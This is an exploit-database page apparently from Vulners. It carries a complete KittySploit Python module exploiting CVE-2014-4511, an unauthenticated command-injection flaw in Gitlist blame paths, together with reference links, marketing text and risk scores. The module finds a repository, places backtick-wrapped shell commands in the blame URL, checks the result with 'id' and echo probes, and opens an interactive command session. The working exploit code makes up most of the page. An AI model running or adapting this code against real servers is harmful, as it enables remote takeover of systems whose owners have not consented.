Lucene search
+L

Gitlist blame RCE (CVE-2014-4511)

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in Gitlist blame paths via backtick-wrapped shell metacharacters.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Gitlist <= 0.4.0 - Remote Code Execution Exploit
30 Jun 201400:00
–zdt
zdt
zdt
Gitlist Unauthenticated Remote Command Execution Exploit
6 Jul 201400:00
–zdt
circl
Circl
CVE-2014-4511
30 Jun 201400:00
–circl
checkpoint_advisories
Check Point Advisories
GitList URL Remote Code Execution (CVE-2014-4511)
6 Oct 201400:00
–checkpoint_advisories
cve
CVE
CVE-2014-4511
22 Jul 201414:00
–cve
cvelist
Cvelist
CVE-2014-4511
22 Jul 201414:00
–cvelist
exploitdb
Exploit DB
Gitlist 0.4.0 - Remote Code Execution
30 Jun 201400:00
–exploitdb
exploitdb
Exploit DB
Gitlist - Remote Command Execution (Metasploit)
7 Jul 201400:00
–exploitdb
exploitpack
exploitpack
Gitlist-0.4.0
4 Jan 201516:46
–exploitpack
exploitpack
exploitpack
Gitlist 0.4.0 - Remote Code Execution
30 Jun 201400:00
–exploitpack
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Gitlist blame path command injection RCE (CVE-2014-4511) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Gitlist blame RCE (CVE-2014-4511)',
        'description': (
            'Exploits CVE-2014-4511 command injection in Gitlist blame paths via '
            'backtick-wrapped shell metacharacters. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-4511'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-4511',
        ],
        'tags': ['gitlist', 'git', 'rce', 'cmdi', 'unauth', 'cve-2014-4511'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'blame path injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_4511_detect'],
            },
        },
    }

    base_path = OptString('', 'Gitlist base path', False, advanced=True)
    repo = OptString('', 'Repository path (auto-discover if empty)', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['', '/gitlist', '/git']

    def _discover_repo(self) -> str | None:
        if self.repo:
            repo = str(self.repo)
            return repo if repo.endswith('/') else repo + '/'
        for base in self._bases():
            idx = self.http_request(method='GET', path=f'{base}/', allow_redirects=False)
            if not idx:
                continue
            body = idx.text or ''
            m = re.search(
                r'class="icon-folder-open icon-spaced"></i>\s*<a href="([^"]+)">',
                body,
            )
            if m:
                repo = m.group(1)
                if not repo.endswith('/'):
                    repo += '/'
                self._hit_base = base
                self._repo = repo
                return repo
        return None

    def execute(self, cmd: str) -> str:
        repo = getattr(self, '_repo', None) or self._discover_repo()
        if not repo:
            return ''
        inj = quote(f'""</`{cmd}`', safe='')
        base = getattr(self, '_hit_base', '') or ''
        path = f'{base}{repo}blame/master/{inj}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2014-4511 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Gitlist blame injection did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._repo = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 06:36Current
6.1Medium risk
Vulners AI Score6.1
CVSS 27.5
EPSS0.8273
1